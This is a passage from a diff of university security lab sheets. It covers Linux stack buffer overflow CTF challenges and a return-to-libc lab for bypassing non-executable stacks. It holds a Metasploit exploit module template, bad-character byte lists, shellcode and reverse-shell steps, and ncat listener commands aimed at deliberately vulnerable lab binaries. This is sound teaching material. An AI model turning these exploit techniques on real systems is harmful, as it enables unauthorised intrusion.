> Hint: Something along the lines of:
|
||||
```ruby
|
||||
[...] payload.encoded [...]
|
||||
handler
|
||||
```
|
||||
|
||||
If you are getting time-out errors, try disabling your debugger and rerunning the exploit.
|
||||
|
||||
Remember, after you have an exploit that works, re-run the ncat victim on the original files in the challenges directory, **without using the debugger** (like at the very start of the lab), so that you will be able to access the flag.
|
||||
|
||||
> Flag: Once you have a shell, run `cat flag` to access the flag file.
|
||||
|
||||
## CTF Challenge 2 {#ctf-challenge-2}
|
||||
|
||||
**Challenge 2** requires you to provide your own shellcode.
|
||||
|
||||
Metasploit can generate an x86 payload for you, supplying **shellcode,** i.e. machine code instructions that launch a shell such as `/bin/sh`, and hijacking control flow so that the program spawns a reverse shell over the network, connecting back to our Kali machine's `ncat` listener.
|
||||
|
||||
The goal with writing our exploit is to:
|
||||
|
||||
* Supply enough input to overflow a buffer that has no bounds checking
|
||||
* Provide shellcode within an executable memory location (in this case an unprotected stack)
|
||||
* Overwrite the function's return address with a memory address that causes our shellcode to run
|
||||
|
||||
You can follow the same beginning steps to create the starting exploit module and to identify the offset. Create a new exploit that inserts a payload into the buffer (before or after the return address offset).
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Close any running ncat==.
|
||||
|
||||
==action: As before, make a copy of the challenge program so that we have a copy without setgid (privileges) so that we can fully debug it to develop an attack==.
|
||||
|
||||
```bash
|
||||
cp ~/challenges/Ch_simple_BOF_2/Ch_simple_BOF_2 ~/
|
||||
```
|
||||
|
||||
==action: Change to your home directory, which now contains a copy of the challenge:==
|
||||
|
||||
```bash
|
||||
cd
|
||||
```
|
||||
|
||||
==action: Run a netcat listener that will continually spawn our vulnerable challenge executable:==
|
||||
|
||||
```bash
|
||||
ncat -kl -p 3333 -e ./Ch_simple_BOF_2
|
||||
```
|
||||
|
||||
==action: Leave this running==.
|
||||
|
||||
Here is an outline of the steps you will need to complete your exploit, which you can apply based on the previous exploits and using these hints:
|
||||
|
||||
1. Unlike Challenge 1, this requires the ==action: Platform to be set to "linux"== (since we want to inject x86 code, rather than bash commands).
|
||||
2. ==action: Calculate the offset of the return address==.
|
||||
3. ==action: Find a `jmp esp` you can point the return pointer to, to get your shell code executing==.
|
||||
> Hint: The easiest way to search for a `jmp esp` is searching for the binary machine code equivalent, which is FF E4. In EDB you can use the binary search feature to find the addresses where this appears (and check it's executable memory).
|
||||
|
||||
> Hint: The OpcodeSearcher feature in EDB provides a more friendly interface for this kind of task, but misses some entries you can find using the binary search.
|
||||
4. ==action: Specify BadChars for the exploit==.
|
||||
> Hint: The process for accurately determining the characters that won't work in your payload is to input them all into the buffer, then view the stack in the debugger and check if any caused the input to truncate or not get copied correctly. For example you can use this code to send all the characters (other than null byte \x00, which will end the string, so is pretty much always a bad character):
|
||||
|
||||
```ruby
|
||||
badchar = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
|
||||
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
|
||||
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
|
||||
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
|
||||
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
|
||||
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
|
||||
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
|
||||
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
|
||||
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
|
||||
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
|
||||
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
|
||||
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
|
||||
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
|
||||
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
|
||||
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
|
||||
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" +
|
||||
"AAAA"
|
||||
```
|
||||
|
||||
==action: Add badchars to bad, then view the stack and check if any caused problems:==
|
||||
![][image-7]
|
||||
|
||||
> Note: If there are issues, you can remove them from badchars, and add them to the payload bad characters and try again.
|
||||
|
||||
> Note: As an extra hint \x00, \x0a, and \x0d are the most common bad characters.
|
||||
5. ==action: After the return pointer, insert a short NOP sled (8 bytes or so) followed by payload.encoded==.
|
||||
6. > Note: ==action: When you get a meterpreter shell on the system, use the `getuid` and `cat` commands==, rather than dropping down to a bash shell.
|
||||
|
||||
> Flag: Submit the flag to Hacktivity.
|
||||
|
||||
## CTF Challenge 3 {#ctf-challenge-3}
|
||||
|
||||
**CTF Challenge 3** is similar to the above, although the details will vary.
|
||||
|
||||
> Flag: Happy hacking!
|
||||
|
||||
Good luck!
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* Written exploits for 3 Linux executables with buffer overflow vulnerabilities (without memory protections). The first of which is a jump to existing code, which was conveniently a shell. The second of which was injecting shellcode into the stack of the running process.
|
||||
|
||||
* Used your exploit to horizontally escalate privileges, to the permission level groups on the system that your user is not a member of.
|
||||
|
||||
Well done!
|
||||
|
||||
[image-1]: {{ site.baseurl }}/assets/images/software_security_exploitation/5_linux_stack_bof/image-1.png
|
||||
[image-2]: {{ site.baseurl }}/assets/images/software_security_exploitation/5_linux_stack_bof/image-2.png
|
||||
[image-3]: {{ site.baseurl }}/assets/images/software_security_exploitation/5_linux_stack_bof/image-3.png
|
||||
[image-4]: {{ site.baseurl }}/assets/images/software_security_exploitation/5_linux_stack_bof/image-4.png
|
||||
[image-5]: {{ site.baseurl }}/assets/images/software_security_exploitation/5_linux_stack_bof/image-5.png
|
||||
[image-6]: {{ site.baseurl }}/assets/images/software_security_exploitation/5_linux_stack_bof/image-6.png
|
||||
[image-7]: {{ site.baseurl }}/assets/images/software_security_exploitation/5_linux_stack_bof/image-7.png
|
||||
875
_labs/software_security_exploitation/6_linux_nx_bypass.md
Normal file
@@ -0,0 +1,875 @@
|
||||
---
|
||||
title: "Linux bypassing NX bit with return-to-libc"
|
||||
author: ["Z. Cliffe Schreuders", "Thomas Shaw"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn to bypass Non-Executable (NX) stack protection using return-to-libc attacks. Develop exploits that redirect program execution to functions within the Standard C Library (libc) without executing external code on the stack."
|
||||
overview: |
|
||||
In this lab, you will develop your knowledge of memory protections and exploit techniques. The focus is on bypassing the Non-Executable (NX) stack protection, which aims to prevent attackers from running malicious code on the stack. You'll explore the theoretical concept of NX stack protection, understand how it is implemented in Linux, and learn about return-to-libc attacks, a clever exploit technique that allows you to redirect a program's execution to functions within the Standard C Library (libc) without executing any external code.
|
||||
|
||||
Throughout this lab, you will learn how to bypass NX stack protection and write return-to-libc exploits. You will find the offset for the Instruction Pointer (EIP), identify the memory addresses of essential functions like execve() and exit() within libc, and construct a fake stack frame to trigger a shell using these functions. As practical tasks, you will write a Metasploit exploit module, analyze memory addresses, and run your exploit to successfully gain control over a vulnerable program.
|
||||
|
||||
The CTF challenges are similar to those from the last topic, however the vulnerable software has been compiled with stack protections and non-executable stack, which you will learn to circumvent.
|
||||
tags: ["nx-bypass", "return-to-libc", "buffer-overflow", "exploit-development", "metasploit"]
|
||||
categories: ["software_security_exploitation"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1eUOb1cR-D8qv0NmlGXYUN1JYwmgrwOBNtfsDVdxnPpw/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
difficulty: "advanced"
|
||||
cybok:
|
||||
- ka: "SS"
|
||||
topic: "Categories of Vulnerabilities"
|
||||
keywords: ["memory management vulnerabilities", "Stack smashing buffer overflows"]
|
||||
- ka: "SS"
|
||||
topic: "Mitigating Exploitation"
|
||||
keywords: ["NON-EXECUTABLE MEMORY"]
|
||||
- ka: "MAT"
|
||||
topic: "Attacks and exploitation"
|
||||
keywords: ["EXPLOITATION", "EXPLOITATION FRAMEWORKS", "Exploit development", "Metasploit Framework development", "Mitigation bypass: non-executable memory"]
|
||||
---
|
||||
|
||||
## Introduction to NX {#intro-nx}
|
||||
|
||||
This lab introduces you to the non-executable stack. A countermeasure designed to make life more difficult for attackers, as they can no longer supply executable code directly to the stack.
|
||||
|
||||
The first half of the lab is a demonstration which involves writing an exploit for a statically compiled binary without stack protections. This should be familiar as it follows the same workflow as last week’s lab.
|
||||
|
||||
The exploit that you create is then run against challenge 1, a binary compiled without an executable stack.
|
||||
|
||||
An exploit technique to bypass this countermeasure, return-to-libc, is then introduced. You will write a return-to-libc exploit against the first challenge.
|
||||
|
||||
The second and third challenges are similar variants on the same program for you to complete. You can follow the same approach as in the lab to gain some more practice and earn some flags\!
|
||||
|
||||
## A recap from week 6 {#a-recap-from-week-6}
|
||||
|
||||
Last lab we wrote metasploit exploits for a few different programs which contained buffer overflow vulnerabilities. In all of these cases, we exploited the buffer overflow and then caused the program to spawn a shell.
|
||||
|
||||
The first program **only executed code that was contained within the binary**. The program had a handy `get_shell()` function, which contained a call to `system("/bin/sh")`. Our exploit for this one involved overflowing the buffer, finding the offset, then overwriting the Instruction Pointer (IP) with the memory location for the first instruction within the `get_shell()` function.
|
||||
|
||||
Unfortunately, the second program did include the `get_shell()` function. Without an obvious target function, our approach needed to change. Instead of using instructions that existed within the binary, we **executed shellcode which we placed on the stack.**
|
||||
|
||||
## Memory Protections: Non-executable stack {#memory-protections-non-executable-stack}
|
||||
|
||||
A solution to make life difficult for attackers is to restrict the areas of memory that can be executed by the CPU as instructions.. As attacker-supplied shellcode typically lands on the stack, a good solution is to set all data stored on the stack as Non-Executable (**NX**).
|
||||
|
||||
A commonly applied mitigation strategy is known as **W ^ X**. The **^** character represents exclusive or (XOR), so every region in process memory should be writable (X)OR Executable, but not both.
|
||||
|
||||
This approach was first introduced in OpenBSD 3.3 in May 2003 as W ^ X. Windows added it in XP service pack 2 as Data Execution Protection (**DEP**).
|
||||
|
||||
The same functionality exists in linux, and stack space is marked by the kernel as non-executable by default. The programs from last week had to explicitly disable these protections at compile-time using the gcc parameter “-z execstack”.
|
||||
|
||||
This week’s challenges have the NX stack protection enabled, so we will need to take a different approach.
|
||||
|
||||
## Bypassing the NX stack {#bypassing-the-nx-stack}
|
||||
|
||||
Non-executable memory has been around for a long time, and so have the exploit techniques for bypassing it which are still widely used today.
|
||||
|
||||
A very clever work-around for exploiting binaries that have buffer overflow vulnerabilities and a non-executable stack was discovered by Solar Designer (the owner of Openwall and the mind behind tools like John the Ripper) in 1997 and posted to the [bugtraq mailing list](https://seclists.org/bugtraq/1997/Aug/63).
|
||||
|
||||
The technique, known as **return-to-libc**, completely avoids executing user-supplied code on the stack by redirecting the program to run instructions that are included within the Standard C Library (libc).
|
||||
|
||||
The exploits that you create for this week’s challenges will require you to do the same.
|
||||
|
||||
## Identifying stack protections {#identifying-stack-protections}
|
||||
|
||||
When a binary is compiled with gcc there are artefacts left in the binary that can be inspected to find out which stack protections were enabled.
|
||||
|
||||
For demonstration purposes we have included the source code for the first challenge this week, it contains no randomisation and can be ==action: compiled with:==
|
||||
|
||||
```bash
|
||||
gcc -g -m32 -z execstack -fno-stack-protector -z norelro -fno-pie -no-pie -Wl,--section-start=.text=0x64574b7a -mpreferred-stack-boundary=2 -o ~/vuln ~/challenges/Ch_nx_BOF_1/program.c
|
||||
```
|
||||
|
||||
==action: Use readelf to print out the program headers:==
|
||||
|
||||
```bash
|
||||
readelf -W -l --program-headers ~/vuln
|
||||
```
|
||||
|
||||
![][image-3]
|
||||
|
||||
==action: Run the same command against the binary for the first challenge.==
|
||||
|
||||
```bash
|
||||
readelf -W -l --program-headers ~/challenges/Ch_nx_BOF_1/Ch_nx_BOF_1
|
||||
```
|
||||
|
||||
Look at the GNU\_STACK header’s flags column. The binary we compiled has RWE but the challenge has RW.
|
||||
|
||||
The missing E flag confirms that the stack for Ch\_nx\_BOF\_1 is **non-executable.**
|
||||
|
||||
## Exploiting with an NX stack: Finding the offset {#exploiting-with-an-nx-stack-finding-the-offset}
|
||||
|
||||
First, as with previous buffer overflow exploits, we need to overflow the buffer and find the offset for EIP.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Note the IP address of your Desktop VM==.
|
||||
|
||||
==action: Change the first challenges directory and test that you can pipe input into the program's stdin:==
|
||||
|
||||
```bash
|
||||
cd ~/challenges/Ch_nx_BOF_1
|
||||
```
|
||||
|
||||
```bash
|
||||
ruby -e "puts 'A' * 15" | ./Ch_nx_BOF_1
|
||||
```
|
||||
|
||||
Great \- piping “A”’ characters to the program from our inline ruby code worked, and as a bonus it caused a segfault.
|
||||
|
||||
![][image-4]
|
||||
|
||||
Now that we have confirmed that we can overflow the buffer, we need to find the offset for the instruction pointer.
|
||||
|
||||
==action: Make a debuggable copy of our program and serve it over the network:==
|
||||
|
||||
```bash
|
||||
cp ~/challenges/Ch_nx_BOF_1/Ch_nx_BOF_1 ~/.
|
||||
```
|
||||
|
||||
```bash
|
||||
cd ~
|
||||
```
|
||||
|
||||
```bash
|
||||
ncat -kl -p 3333 -e ./Ch_nx_BOF_1
|
||||
```
|
||||
|
||||
==VM: On the Kali Linux VM:==
|
||||
|
||||
Last lab we used the very handy get\_pattern() function in our metasploit module to calculate the offset.
|
||||
|
||||
==action: Create your metasploit script==.
|
||||
|
||||
==action: Create a Metasploit exploit module, and save it as **nx\_bof1.rb** in **/root/.msf4/modules/exploits/linux/misc/**:==
|
||||
|
||||
> Hint: to make the directory path, you can run `mkdir -p /root/.msf4/modules/exploits/linux/misc/`
|
||||
|
||||
Here is an template script that you can base your exploit on:
|
||||
```ruby
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super(update_info(info,
|
||||
'Name' => 'nx_bof1',
|
||||
'Description' => 'Shell via ret2libc',
|
||||
'Author' => [ 'Your name'],
|
||||
'Version' => '$Revision: 1 $',
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [ [ 'Automatic Target', { } ],],
|
||||
'Payload' => {'BadChars' => "\x00\x0a\x0d\x20" },
|
||||
'DefaultTarget' => 0,
|
||||
'License' => GPL_LICENSE
|
||||
))
|
||||
register_options( [ Opt::RPORT(3333) ])
|
||||
end
|
||||
def exploit
|
||||
puts "A TCP based Metasploit module"
|
||||
connect
|
||||
banner = sock.get_once.to_s.strip
|
||||
print_status "Banner: #{banner}"
|
||||
|
||||
puts "\n\nAttach your debugger on the desktop now, then press enter"
|
||||
gets
|
||||
puts "Continuing!"
|
||||
|
||||
# Step 1: Find the offset
|
||||
bad = pattern_create(500) #[offset:Offset-Value]
|
||||
|
||||
# Step 2: Confirm we have the correct offset
|
||||
# Paste Step 2 template code here (found later in the labsheet)
|
||||
|
||||
# Step 3: return-to-libc
|
||||
# Paste Step 3 template code here (found later in the labsheet)
|
||||
|
||||
sock.put bad + "\n\n"
|
||||
buf = sock.timed_read(500)
|
||||
sock.put "id\n"
|
||||
buf = sock.timed_read(500)
|
||||
puts "received #{buf}"
|
||||
|
||||
buf = sock.get_once(10)
|
||||
sock.put payload.encoded
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
This example has included the `pattern_offset()` call for you.
|
||||
|
||||
==action: Run the exploit directly from the command line:==
|
||||
|
||||
```bash
|
||||
msfconsole -x 'use exploit/linux/misc/nx_bof1; set RHOST ==edit:Desktop-IP-address==; set LHOST ==edit:Kali-IP-address==; exploit'
|
||||
```
|
||||
|
||||
> Tip: After the exploit has run you can run the same version again by running (msf) `exploit` or press `Ctrl-D` to exit msfconsole and then run the above command to run an updated version of your exploit.
|
||||
|
||||
When prompted to attach your debugger...
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Start debugging the program:==
|
||||
|
||||
```bash
|
||||
edb --attach `pgrep -n Ch_nx_BOF_1`
|
||||
```
|
||||
|
||||
edb automatically pauses execution when attaching to a process. Resume execution by pressing the ‘play’ button.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Hit enter to resume your exploit==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
The exploit should have caused an Illegal Access Fault (a segfault). The error message will provide an address you can use to calculate the offset to the controlled ==edit:EIP-value==.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Calculate the offset using metasploit's pattern\_offset.rb script:==
|
||||
|
||||
```bash
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q ==edit:EIP-value== -l 500
|
||||
```
|
||||
|
||||
Note this down as the ==edit:Offset-Value==
|
||||
|
||||
Update your script. Comment out the code under “Step 1” and add the following code under Step 2\. For now we are just storing the string “BBBB”, or 0x42424242 in the EIP.
|
||||
|
||||
```ruby
|
||||
offset = "==edit:Offset-Value=="
|
||||
padding = "A" * offset
|
||||
eip = "BBBB"
|
||||
bad = padding + eip
|
||||
```
|
||||
|
||||
## return-to-libc {#return-to-libc}
|
||||
|
||||
Now we control the instruction pointer, we need somewhere other than the non-executable stack to redirect flow to.
|
||||
|
||||
Looking back to challenge one of last week’s lab, the program included a convenient function for us to redirect execution to. The `get_shell()` function in that program simply called `system("/bin/sh")` to spawn a shell.
|
||||
|
||||
As this code was already included in the binary, we would still be able to run our exploit against that program even if it was compiled with a non-executable stack. This is because the memory location of the code included in the binary would be flagged as executable as it is legitimate code.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Investigate which shared libraries that the challenge binary is linked to:==
|
||||
|
||||
```bash
|
||||
cd ~/challenges/Ch_nx_BOF_1/
|
||||
```
|
||||
|
||||
```bash
|
||||
ldd Ch_nx_BOF_1
|
||||
```
|
||||
|
||||
![][image-5]
|
||||
|
||||
Our program makes use of the standard c library. Make note of the path and memory location that libc is being loaded at.
|
||||
|
||||
Last week made use of the `system()` function which is contained within the c standard library.
|
||||
|
||||
==action: Look into how system() works in the manual:==
|
||||
|
||||
```bash
|
||||
man 3 system
|
||||
```
|
||||
|
||||
![][image-6]
|
||||
|
||||
We can see that `system()` uses `fork(2)` to create a child process, which then executes the command passed to it. This can make it trickier to debug our exploit, as we have to interact with a second process.
|
||||
|
||||
Additionally, we can see that `system()` is just a wrapper for the `execl()` function.
|
||||
|
||||
==action: Look into how execl() works in the manual:==
|
||||
|
||||
```bash
|
||||
man 3 execl
|
||||
```
|
||||
|
||||
![][image-7]
|
||||
|
||||
The man page suggests that `execl()`, too, is a wrapper for *another* function `execve()`\!
|
||||
|
||||
==action: Look into how this execve() works in the manual:==
|
||||
|
||||
```bash
|
||||
man 2 execve
|
||||
```
|
||||
|
||||
![][image-8]
|
||||
|
||||
Note the highlighted text section in the screenshot above.
|
||||
|
||||
The program currently being called will be replaced with the new program that is initialised with `execve()`, rather than forking and running it on a new subprocess. This will make debugging easier as we don’t have to follow a forked child process.
|
||||
|
||||
We can leverage this function to run system commands on the system within the same process we are exploiting\!
|
||||
|
||||
## Investigating `execve()` {#investigating-execve}
|
||||
|
||||
The man page above shows that `execve` takes 3 parameters, the command to run, a pointer to an argument vector (i.e. parameters passed to the command we run), and a pointer to the environment variables.
|
||||
|
||||
As we just want to execute `/bin/sh`, we don’t need to be concerned about the `argv` or `envp` parameters for our exploit, as.
|
||||
|
||||
In c, the function call we are going to try mimic would look like this:
|
||||
|
||||
```c
|
||||
execve("/bin/sh", 0, 0);
|
||||
```
|
||||
|
||||
For our exploit, we need to set the stack up in a way that replicates a legitimate function call exactly like the one above.
|
||||
|
||||
It would be useful to have an example write a basic dummy program that we can debug to inspect how the stack frame gets set up. We can then use this as something to aim at replicating with our exploit code.
|
||||
|
||||
==action: Paste the following code into a new file in your home directory called execve.c:==
|
||||
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void main()
|
||||
{
|
||||
execve("/bin/sh",0,0);
|
||||
}
|
||||
```
|
||||
|
||||
The compiler options a program is compiled with can make dramatic changes to the assembly code, even when using the same exact .c file. In order to keep things as similar as possible to the binaries used in this challenge, compile your program with the following gcc command:
|
||||
|
||||
```bash
|
||||
gcc -g -m32 -fno-stack-protector -z norelro -fno-pie -no-pie -Wl,--section-start=.text=0x64574b7a -mpreferred-stack-boundary=2 -o ~/execve ~/execve.c
|
||||
```
|
||||
|
||||
==action: Run the program==.
|
||||
|
||||
Once you have confirmed that you have an interactive shell, drop back to your main shell with `Ctrl-D`.
|
||||
|
||||
Next we should get an example of the way that the stack is set up when execve is called using a debugger:
|
||||
|
||||
```bash
|
||||
cd ~
|
||||
```
|
||||
|
||||
```bash
|
||||
gdb -q ./execve
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) break execve
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) r
|
||||
```
|
||||
|
||||
Now that we’ve hit our breakpoint just before the execve function is called, we can take a look at how the stack is set up to get our working example:
|
||||
|
||||
==action: Examine the contents at the top of the stack. Use gdb to print the next 20 hexadecimal words (4 bytes in 32-bit programs) using the stack pointer==.
|
||||
|
||||
```bash
|
||||
(gdb) x/20wx $esp
|
||||
```
|
||||
|
||||
![][image-9]
|
||||
|
||||
## Revisiting stack frames {#revisiting-stack-frames}
|
||||
|
||||
As we have frozen at the start of the function, we can see how the stack was set up in memory when called with the 3 parameters as `execve("/bin/sh",0,0)`.
|
||||
|
||||
The **first value** on the stack frame is: the function’s **return address**
|
||||
|
||||
This is the next instruction to be run after the function completes.
|
||||
|
||||
==action: Confirm this is the case within your debugger by examining the memory address:==
|
||||
|
||||
```bash
|
||||
(gdb) x ==edit:0x6457ca3==
|
||||
```
|
||||
|
||||
![][image-10]
|
||||
|
||||
==action: Disassemble the main function== to confirm that this instruction is one **after** the `call 0xaddress <execve@plt>` instruction.
|
||||
|
||||
For the sake of our exploit, this address doesn’t matter because once our shell runs it won’t return until we tell it to. In order to make the program exit elegantly after we close our shell, we can replace this with the memory location of the `exit()` function, which we will find later.
|
||||
|
||||
The **second value** on the stack frame: is the first function parameter.
|
||||
|
||||
This is the memory location for the string `"/bin/sh"`. ==action: Confirm this in your debugger by examining the memory location as a string:==
|
||||
|
||||
```bash
|
||||
(gdb) x/s ==edit:0x645750008==
|
||||
```
|
||||
|
||||
![][image-11]
|
||||
|
||||
The **third value** on the stack frame is: is the second function parameter
|
||||
|
||||
The second parameter was the integer 0, which is represented by the hex value 0x00000000
|
||||
|
||||
The **fourth value** on the stack frame is: is the third function parameter.
|
||||
|
||||
Which is the same as above 0x0000000
|
||||
|
||||
The rest of the stack can be ignored for now.
|
||||
|
||||
To summarise:
|
||||
|
||||
- Once `execve("/bin/sh",0,0)` has been called, EIP points to the first instruction in the `execve()` function.
|
||||
- The stack frame is configured with the following 4 parameters:
|
||||
- return address
|
||||
- memory location of `"/bin/sh"`
|
||||
- 0x000000
|
||||
- 0x000000
|
||||
|
||||
|
||||
## Building a fake stack frame for a libc function call {#building-a-fake-stack-frame-for-a-libc-function-call}
|
||||
|
||||
Now that we have a working example, we can update our exploit script to mirror the stack layout.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Update your exploit by commenting out the Step 2 code and including the following code segment at Step 3==.
|
||||
|
||||
|
||||
```ruby
|
||||
# Set up a ‘fake’ stack frame that mimics a call to execve("/bin/sh",0,0)
|
||||
offset = "==edit:Offset-Value=="
|
||||
eip = "BBBB"
|
||||
#execve = [0x00000000].pack('V') # mem addr of execve()
|
||||
# eip = execve
|
||||
# ret_exit = [0x00000000].pack('V') # return address i.e. mem addr of exit() function
|
||||
# bin_sh = [0x00000000].pack('V') # mem addr of "/bin/sh" string
|
||||
# zero = [0x00000000].pack('V') # mem addr that contains 0x00000000
|
||||
function
|
||||
|
||||
bad = "A" * offset + eip + "C" * 30 # + ret_exit + bin_sh + zero + zero
|
||||
```
|
||||
|
||||
The above code contains templates for the address of the `execve` function which we are overwriting EIP with, and all of the values that we need to find in order to construct our stack frame.
|
||||
|
||||
We will take an incremental approach to setting up memory therefore, other than the EIP, the other stack values are commented out for now. A string of 30 “C” characters is appended to the end of our exploit script for visibility in gdb.
|
||||
|
||||
## Finding the addresses of `execve()` and `exit()` {#finding-the-addresses-of-execve-and-exit}
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Run your updated exploit script and when prompted to attach your debugger, switch to your Desktop VM==.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
This time we are going to attach gdb to the process as it provides some useful functions for quickly inspecting memory.
|
||||
|
||||
```bash
|
||||
gdb program -p `pgrep -n Ch_nx_BOF_1`
|
||||
```
|
||||
|
||||
Whilst we have execution frozen, we can find the memory address for the execve and exit functions:
|
||||
|
||||
```bash
|
||||
(gdb) p execve
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) p exit
|
||||
```
|
||||
|
||||
Make note of these two addresses as ==edit:Execve-Address== and ==edit:Exit-Address== before continuing execution...
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Update your Kali script's execve and ret\_exit 0x00000000 placeholders with the actual addresses==.
|
||||
|
||||
```ruby
|
||||
offset = "==edit:Offset-Value=="
|
||||
# eip = "BBBB"
|
||||
execve = ["==edit:Execve-Address=="].pack('V') # mem addr of execve()
|
||||
eip = execve
|
||||
ret_exit = ["==edit:Exit-Address=="].pack('V') # return address i.e. mem addr of exit() function
|
||||
# bin_sh = [0x00000000].pack('V') # mem addr of "/bin/sh" string
|
||||
# zero = [0x00000000].pack('V') # mem addr that contains 0x00000000
|
||||
function
|
||||
|
||||
bad = "A" * offset + eip + ret_exit + "C" * 30 #+ bin_sh + zero + zero
|
||||
```
|
||||
|
||||
> Tip: Remove the "" around hex addresses: use `[0x00000000].pack('V')` rather than `["0x00000000"].pack('V')`
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Continue execution in gdb==
|
||||
|
||||
```bash
|
||||
(gdb) c
|
||||
```
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Hit enter==
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
We got a segfault error as our EIP tried to run code at 0x42424242 (or "BBBB").
|
||||
|
||||
==action: Inspect the stack:==
|
||||
|
||||
```bash
|
||||
(gdb) x/20wx $esp
|
||||
```
|
||||
|
||||
We have overwritten the rest of the stack with 0x42 (“C”) characters as expected.
|
||||
|
||||
Great. Now that we have updated our exploit script above to store the address of the `execve` function in eip, and found the return address for the exit function, we should try to run it.
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
Run your updated exploit script and when prompted to attach your debugger, switch to your Desktop VM.
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
==action: Attach the debugger then set a breakpoint to freeze execution at execve()==.
|
||||
|
||||
```bash
|
||||
gdb program -p `pgrep -n Ch_nx_BOF_1`
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) b execve
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) c
|
||||
```
|
||||
|
||||
==VM: On the Kali Linux VM (attacker/exploit development)==
|
||||
|
||||
==action: Hit enter==
|
||||
|
||||
==VM: On your Desktop Debian Linux VM (victim service)==
|
||||
|
||||
Great, we hit the breakpoint\! The exploit caused the program to return to libc’s `execve` function.
|
||||
|
||||
==action: Inspect the stack:==
|
||||
|
||||
```bash
|
||||
(gdb) x/20wx $esp
|
||||
```
|
||||
|
||||
Inspect the memory address on the stack to confirm that it is the address of the first instruction within the `exit` function, or disassemble the `exit` function \+ manually compare the addresses.
|
||||
|
||||
One parameter down three to go..\!
|
||||
|
||||
## Finding the address of `"/bin/sh"` {#finding-the-address-of-bin-sh}
|
||||
|
||||
There are a few places that we can look for the string `"/bin/sh"` within memory. One instance used historically in return-to-libc exploits can be found within libc itself.
|
||||
|
||||
Earlier in the lab we looked in the manual page for the system function and saw that it was actually just a wrapper for another function execl().
|
||||
|
||||
![][image-12]
|
||||
|
||||
The system function passes a hard-coded `"/bin/sh"` to `execl()` as the first parameter, so it must be in libc somewhere...
|
||||
|
||||
Let’s search libc to see if we can find the string we are looking for.
|
||||
|
||||
==action: Use the strings program to output all (-a) readable strings== found within the `/lib32/libc.so.6` library and print the offset from the start of libc at the start of the line in hex (-t x).
|
||||
|
||||
```bash
|
||||
strings -a -t x /lib32/libc.so.6
|
